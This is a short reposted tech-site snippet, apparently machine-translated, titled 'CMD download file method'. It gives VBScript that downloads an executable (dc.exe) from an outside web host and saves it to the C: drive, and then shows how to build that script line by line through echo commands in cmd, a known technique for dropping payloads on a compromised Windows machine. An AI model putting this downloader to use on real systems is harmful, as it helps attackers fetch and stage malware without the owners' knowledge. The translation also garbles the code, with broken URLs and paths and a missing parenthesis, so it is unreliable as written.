CMD download file method

xiaoxiao2021-03-06  41

Set Xpost = CreateObject ("Microsoft.xmlhttp") xPost.Open "get", "http://www.xx.com/dc.exe", 0 'Download file xPost.send () set sget = createObject ( "Adodb.stream") sget.mode = 3 sget.type = 1 sget.open () sget.write (xpost.responsebody) sget.savetofile "c: /dc.exe", 2 'save the file path and file name Save the above code in the XX.vbs file Perform cmd.exe xx.vbs Use the Echo method to write echo set xpost = createObject ("Microsoft.xmlhttp")> dc.vbs echo xpost.open "get", http: // www .xxx.com / dc.exe, 0 >> dc.vbs echo xpost.send () >> dc.vbs echo set sget = createObject ("adodb.stream" >> dc.vbs echo sget.mode = 3> > dc.vbs echo sget.type = 1 >> dc.vbs echo sget.open () >> DC.VBS Echo sget.write (xpost.responsebody) >> DC.VBS Echo sget.savetofile "C: / DC. EXE ", 2 >> DC.VBS

转载请注明原文地址:https://www.9cbs.com/read-74680.html

New Post(0)